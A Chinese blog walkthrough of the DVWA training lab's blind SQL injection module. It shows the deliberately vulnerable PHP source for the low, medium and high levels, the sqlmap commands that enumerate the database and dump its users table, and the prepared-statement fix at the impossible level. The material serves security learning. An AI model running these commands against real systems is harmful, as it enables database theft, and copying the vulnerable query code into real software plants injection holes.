当前位置:   article > 正文

DVWA靶场-SQL Injection (Blind) SQL盲注_搭建dvwa实验靶场,选择medium级别,选择sql injection(blind)的表名的代码

搭建dvwa实验靶场,选择medium级别,选择sql injection(blind)的表名的代码

往期博文:

DVWA靶场-Brute Force Source 暴力破解

DVWA靶场-Command Injection 命令注入

DVWA靶场-CSRF 跨站请求伪造

DVWA靶场-File Inclusion 文件包含

DVWA靶场-File Upload 文件上传

DVWA靶场-SQL Injection SQL注入

靶场环境搭建

https://github.com/ethicalhack3r/DVWA

[网络安全学习篇附]:DVWA 靶场搭建

 

目录

 

SQL Injection (Blind)

Low SQL Injection (Blind)

核心代码

Medium SQL Injection (Blind)

核心代码

High SQL Injection (Blind)

核心代码

Impossible SQL Injection (Blind)

核心代码


SQL Injection (Blind)

Low SQL Injection (Blind)

核心代码

  1. <?php
  2. ifisset$_GET'Submit' ] ) ) {
  3.     // 获取id值
  4.     $id $_GET'id' ];
  5.     // 查询数据库
  6.     $getid  "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
  7.     $result mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); 
  8.     // 得到结果
  9.     $num = @mysqli_num_rows$result ); 
  10.     if$num 0 ) {
  11.         echo '<pre>User ID exists in the database.</pre>';
  12.     }
  13.     else {
  14.             header$_SERVER'SERVER_PROTOCOL' ] . ' 404 Not Found' );
  15.         echo '<pre>User ID is MISSING from the database.</pre>';
  16.     }
  17.     ((is_null($___mysqli_res mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
  18. }
  19. ?>

由于sql 盲注比较浪费时间,笔者这里使用sqlmap 工具进行注入

列出当前数据库名

sqlmap -u "http://192.168.1.200/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5c5k95olhvmj2q6k3d6fuu1995" --current-db

列出表名

sqlmap -u "http://192.168.1.200/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5c5k95olhvmj2q6k3d6fuu1995" -D dvwa1 --tables

获取users 表中数据

sqlmap -u "http://192.168.1.200/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5c5k95olhvmj2q6k3d6fuu1995" -D dvwa1 -T users --dump --batch

 

Medium SQL Injection (Blind)

核心代码

  1. <?php
  2. ifisset$_POST'Submit' ]  ) ) {
  3.     // Get input
  4.     $id $_POST'id' ];
  5.     $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  6.     // Check database
  7.     $getid  "SELECT first_name, last_name FROM users WHERE user_id = $id;";
  8.     $result mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
  9.     // Get results
  10.     $num = @mysqli_num_rows$result ); // The '@' character suppresses errors
  11.     if$num 0 ) {
  12.         // Feedback for end user
  13.         echo '<pre>User ID exists in the database.</pre>';
  14.     }
  15.     else {
  16.         // Feedback for end user
  17.         echo '<pre>User ID is MISSING from the database.</pre>';
  18.     }
  19.     //mysql_close();
  20. }
  21. ?>

可以很明显的看到,这里提交方式由原来的get 变为了post

使用bp 抓包,抓到post请求的数据包,将其保存至post.r 文件中

vim post.r

sqlmap -r post.r -D dvwa1 -T users --dump --batch

 

High SQL Injection (Blind)

核心代码

  1. <?php
  2. ifisset$_COOKIE'id' ] ) ) {
  3.     // Get input
  4.     $id $_COOKIE'id' ];
  5.     // Check database
  6.     $getid  "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
  7.     $result mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
  8.     // Get results
  9.     $num = @mysqli_num_rows$result ); // The '@' character suppresses errors
  10.     if$num 0 ) {
  11.         // Feedback for end user
  12.         echo '<pre>User ID exists in the database.</pre>';
  13.     }
  14.     else {
  15.         // Might sleep a random amount
  16.         ifrand05 ) == 3 ) {
  17.             sleeprand24 ) );
  18.         }
  19.         // User wasn't found, so the page wasn't!
  20.         header$_SERVER'SERVER_PROTOCOL' ] . ' 404 Not Found' );
  21.         // Feedback for end user
  22.         echo '<pre>User ID is MISSING from the database.</pre>';
  23.     }
  24.     ((is_null($___mysqli_res mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
  25. }
  26. ?>

相较于前面两种,这里id 值由cookie 传递,设置了睡眠时间,增加了盲注的时间耗费

获取当前数据库名

sqlmap -u "http://192.168.1.200/DVWA-master/vulnerabilities/sqli_blind/" --cookie="id=1*; security=high; PHPSESSID=5c5k95olhvmj2q6k3d6fuu1995" --dbms=MySQL --technique=B --random-agent --flush-session -v 3 --current-db

至于用户名和密码,由于太浪费时间,笔者这里就不做赘述了

 

Impossible SQL Injection (Blind)

核心代码

  1. <?php
  2. ifisset$_GET'Submit' ] ) ) {
  3.     // Check Anti-CSRF token
  4.     checkToken$_REQUEST'user_token' ], $_SESSION'session_token' ], 'index.php' );
  5.     // Get input
  6.     $id $_GET'id' ];
  7.     // Was a number entered?
  8.     if(is_numeric$id )) {
  9.         // Check the database
  10.         $data $db->prepare'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
  11.         $data->bindParam':id'$id, PDO::PARAM_INT );
  12.         $data->execute();
  13.         // Get results
  14.         if$data->rowCount() == 1 ) {
  15.             // Feedback for end user
  16.             echo '<pre>User ID exists in the database.</pre>';
  17.         }
  18.         else {
  19.             // User wasn't found, so the page wasn't!
  20.             header$_SERVER'SERVER_PROTOCOL' ] . ' 404 Not Found' );
  21.             // Feedback for end user
  22.             echo '<pre>User ID is MISSING from the database.</pre>';
  23.         }
  24.     }
  25. }
  26. // Generate Anti-CSRF token
  27. generateSessionToken();
  28. ?>

可以看出,impossible prepare 和 PDO 防御SQL,注入,同时加入了token验证机制,进一步提高其安全性


https://www.sqlsec.com/2020/05/dvwa.html#toc-heading-31

https://www.freebuf.com/articles/web/119467.html

 

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/267489
推荐阅读
  

闽ICP备14008679号